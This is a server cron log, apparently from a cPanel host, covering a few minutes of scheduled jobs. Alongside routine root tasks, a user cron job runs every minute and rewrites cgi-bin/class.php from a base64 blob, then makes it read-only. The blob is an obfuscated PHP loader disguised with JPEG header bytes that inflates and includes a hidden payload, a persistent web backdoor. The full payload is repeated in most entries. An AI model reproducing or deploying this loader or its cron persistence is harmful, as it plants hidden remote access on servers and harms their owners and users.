Sep  2 04:21:01 server CROND[31691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:22:01 server CROND[32057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:22:01 server CROND[32058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:22:01 server CROND[32066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:23:01 server CROND[32541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:23:01 server CROND[32542]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:23:01 server CROND[32543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:24:01 server CROND[459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:24:01 server CROND[460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:24:01 server CROND[461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:25:01 server CROND[872]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:25:01 server CROND[873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:25:01 server CROND[874]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 04:25:01 server CROND[878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:25:01 server CROND[879]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:25:01 server CROND[881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:25:01 server CROND[882]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 04:25:01 server CROND[880]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 04:26:01 server CROND[1836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:26:01 server CROND[1837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:26:01 server CROND[1838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:27:01 server CROND[2258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:27:01 server CROND[2259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:27:01 server CROND[2260]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 04:27:01 server CROND[2261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:28:01 server CROND[2776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:28:01 server CROND[2775]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:28:01 server CROND[2777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:29:01 server CROND[3154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:29:01 server CROND[3155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:29:01 server CROND[3156]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:30:01 server CROND[3521]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep  2 04:30:01 server CROND[3525]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 04:30:01 server CROND[3524]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 04:30:01 server CROND[3526]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 04:30:01 server CROND[3528]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:30:01 server CROND[3527]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:30:01 server CROND[3529]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:30:01 server CROND[3534]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  2 04:30:01 server CROND[3531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:30:01 server CROND[3532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:31:01 server CROND[4428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:31:01 server CROND[4427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:31:01 server CROND[4429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:32:01 server CROND[4795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:32:01 server CROND[4796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:32:01 server CROND[4797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:33:01 server CROND[5167]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:33:01 server CROND[5166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
